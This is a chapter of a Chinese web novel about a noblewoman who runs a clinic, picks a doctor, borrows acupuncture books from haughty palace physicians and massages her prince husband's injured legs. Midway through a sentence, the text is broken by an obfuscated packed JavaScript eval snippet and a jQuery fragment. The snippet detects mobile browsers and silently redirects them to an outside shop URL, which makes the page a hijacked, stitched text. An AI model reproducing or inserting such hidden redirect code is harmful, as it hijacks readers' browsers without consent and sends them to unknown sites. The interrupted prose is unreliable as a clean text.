两人走出医馆。
气氛有些尴尬。
“常兄不是身体不适?”任大夫先开了口。
“任兄也不承多让呀!”常玉道。
话音落下,两个人俱是一怔,随即都后悔了。
任大夫望着长街叹了口气:“哪里是今日不该来,是我等修行不够,终究没能抵住诱惑,行医当修心,如今我们却为了区区几银钱失了德行。”
“任兄说的是。”
常玉自啐道:“落得下乘!”
闻言任大夫看向他,细细打量:“若是常玉拔得头筹,得主家赏眼?”
“唉!”常玉拱手向天:“区区月钱,怎么与你我德行媲美。”
他看向任大夫:“想必任兄也是如此吧?”
任大夫露出似笑非笑的表情,随即爽朗笑道:“哈哈,今日不聊这个了,难得沐修一天,我请你喝酒去。”
另一边医馆内,李菀白拿起所有的药方,细细地再次看了一遍。
虽然面试的时候,她心中已经有了答案。
但既然大家同为面试者,来一次不容易,自然要给相同的对待,免得有遗漏的地方。
一旁的半荷端来茶水,摆在自家主子手边。
李菀白喝了一口:“今日茶叶倒是不一样?”
“昨日府内内侍送来了今年的新茶。”半荷道:“听说还是德妃赏赐下来的贡品。”
“嗯。”李菀白未放在心上。
看完所有的药方,她抽出其中一张,药方的左上角写着名字,断不会搞错。
“就应聘这个大夫吧?”
“明日遣两个人带酬金去府上,再请这位大夫来一趟,就从医馆的侍女里面挑人。”
半荷接过药方,低声应下。
她偷摸看了一眼,可惜看不懂,不过自家小姐看好的人,那自然是好的。
随即,她走出旁室来到堂内,点了一名谨慎的新人。
酬金不能随意就拿着送过去,会显得不够尊重,若是脾气硬一些的,便是直接关门谢客也有可能。
她带着人用喜庆的红布将酬金包好,放在一方托盘上面,再次叮嘱新人要礼貌些。
“奴婢知晓了。”她点头应下,不敢疏忽。
……
既然已经找到了坐诊的大夫,李菀白便不再多待,没有找到适合绑定的人,她略有些心急。
可是心急又能做什么呢
迟迟无法绑定医生,系统就不会开始教学,一天不绑定,就要多浪费一天时间。
谁也不能阻挡她的步伐。
既然系统的学习课程已经出来了,她完全可以提前自学。
回到府上,她直接去书房,找到了便宜夫君。
“哦?夫人需要一些医书?”赵景辰笑道。
“这有何难,咱们府上就有御医,夫人想要那本直接找他借阅便是,如若没有,便让他会太医院的书库去找。”
李菀白眼睛一亮,这可真是帮了大忙了。
太医院的医书,必然是好的。
她道谢后,随即忙慌地离开了。
他看着对方背影笑着摇了摇头,一旁的展四道:“皇子为何不问皇妃要那本医书,自己取来送给皇妃,岂不更好。”
赵景辰闻言,似是没有听见般,继续低头练字。
如今他的双腿还未痊愈,也只能练字消遣时间,倒别说,曾经让太傅频频黑脸的字,竟也练得有模有样了。
可见只要肯下苦功夫,这世间没有什么做不到的。
他握着笔,一笔一划沉稳有力。
“困于方寸之间,更要沉下心来打磨自己。”
说完,展四就不再吱声了,只是看着自家皇子练字。
可见是没有听懂。
而另一半,李菀白带着侍女,找到了坐诊四皇子府的御医。
这些都是宫中派来的,本就自恃清高,可是快一年了也没有治好四皇子,常备德妃惩罚。
近来听闻连四皇妃都私下学起了医术,还敢不经过他们的手,擅自给四皇子调理,心中早已存了不满。
偏生四皇子对这位皇妃多有纵容,他们也不好明着置喙,只是把这份轻蔑放在了心底。
李菀白说明来意。
话音刚落,为首的陈御医便捻着胡须,露出几分不易察觉的轻慢:“王妃……”
他由衷劝告道:“针灸之道,岂是看几本医书就能学会的?那要靠经年累月的师承,浸淫古籍,反复实操。
还要懂阴阳,辨经络,知五行,那是熟知就能说清的?
稍有差池就能误人性命。”
李菀白听出他的意思,也不觉得生气,他说的对。
说着,他抬眼扫了李菀白一眼:“王妃想学医,这府内的几位御医,都是太医院出来的老人,可从中寻一人,比自己抱着书看要稳妥一些。”
李菀白再次点头,针灸之术关乎人体经络,若是学艺不精,不是小事。
她觉得对方说的不无道理。
而且这些还是御医,就在四皇子府内,听从自己调遣,学起来也方便。
只可惜……
李菀白摇摇头:“你们太弱了!”
得不到系统的认可,即便资质再好,也是白费。
让他们教自己,还不如去找薛良医。
“皇妃……你……”陈太医脸色一红,差点直接伸手。
站在旁边的半荷,早就听够了对方的话。
什么来头。
竟然敢对皇妃指指点点。
她当即站了出来,怒上心头,冷声道:“陈太医,注意你的分寸,让你找一本医书,这般指手画脚,眼里可还有皇家体面?”
陈太医伸到一半的手猛地僵住,讪讪收回,旁边的人早就吓得跪下去了。
李菀白这才回过神来,她暗道,忘记自己现在身份不一样了。
虽然看起来有些以势压人,不过当真好用。
她再次出言,让他们把所有有关针灸的都拿出来。
这次御医们老实了许多,不一会就抱出一大摞。
半荷冷哼一声,上前将书抱过来:“治不好四皇子的腿伤,还在这里托大!再次在这般磨蹭,让你们都滚出府去!”
半荷说的有些过了,都是几十岁的老人了,哪里受得了这般指责。
不过,有这么一个靠谱的侍女
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17554411|204414||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在身边,当真好。
下个月就给半荷涨月钱!
回到屋子里后,李菀白当即拿过医书,看了起来。
书上的内容当真深奥,没有人指点肯定是不行的。
李菀白从未幻想过自己能够自学成才,只求在找到合适的绑定者之前,能多学一些,弥补进度。
“唉!系统到底要找什么绝世神医,竟然连御医都入不得法眼。”
她坐在灯下长叹一声,继续看起书来,抱着生啃英语原著的劲头,硬生生往下啃,连有人进来都未曾察觉。
赵景辰被人推进来的时候,便看见她正埋首苦读。
白皙的指间划过泛黄的书页,眉头微蹙,似是遇见了看不懂的地方,神情格外专注。
连他进来的动静都没有听见。
他倚在榻上面,目光落在她单薄的侧影上,这几日为了医馆来回奔波,当真清瘦不少。
如若自己身体健康,她嫁进来必然是不用遭这份罪的。
而她最近几日似乎遇见困难,眼底都带着一丝乌青,可她不愿同自己说。
赵景辰自然也是不多问。
展四在一旁看得明白,自己四皇子还是抹不开面子。
莫要再矜持了,矜持是抱不上媳妇的。
他轻轻咳了一声,才将王妃从书本中惊醒:“王妃夜深了,莫要耽误休息。”
李菀白这才惊讶四皇子来了,连忙放下书起身:“竟然这么晚了。”
赵景辰撇了一眼展四,淡淡道:“方才御医来瞧过,说我双腿之前久卧僵硬,气血不足,有幸得夫人帮着揉搓,倒比喝药还舒坦些。”
他抬眼看着她,语气带着几分恰到好处的示弱:“我这榻边……也只有夫人肯陪着耐心耗着,不知今晚还能否邀请夫人,继续帮我调理。”
虽然她的课程晋升了,治疗任务还是在的,只是如今课程未开,不知道给不给经验。
她闻言自然应下,当即上前,在榻边坐下,轻轻帮他按揉起双腿。
她做事来格外认真,指尖带着温热的力道,一点点揉开他僵硬的筋络。
赵景辰闭着眼,感受着她指尖的力道,紧绷了许久的肩背,竟奇异地放松下来。
按了约莫半刻钟,李莞白做完了任务,却想起方才没看完的针灸图谱,忍不住道:“殿下,我先睡觉再回去看书……”
赵景辰却忽然伸手,轻轻扣住了她的手腕,顺势一带,便将她揽进了自己怀里。他的胸膛带着淡淡的药香,却异常安稳。
“别再看了。”他的声音贴在她耳边,低低的,带着不容拒绝的温柔,“你最近太累了,好好休息休息。”
李莞白心底警铃大作,他俩距离太近了,她挣扎了一下,却被他抱得更紧。
他的并未强求,只下巴抵在她的发顶,声音轻得像叹息:“你再熬下去,等你累倒了,谁来给我治好这双腿?”
她的挣扎渐渐停了,鼻尖萦绕着他身上清浅的药香,连日的疲惫忽然翻涌上来。
“好吧!”李莞白闻言微微坐正身体。
赵景辰并未阻拦,李莞白这才松了一口气,躺在床上后,眼皮也越来越沉,最终沉沉睡了过去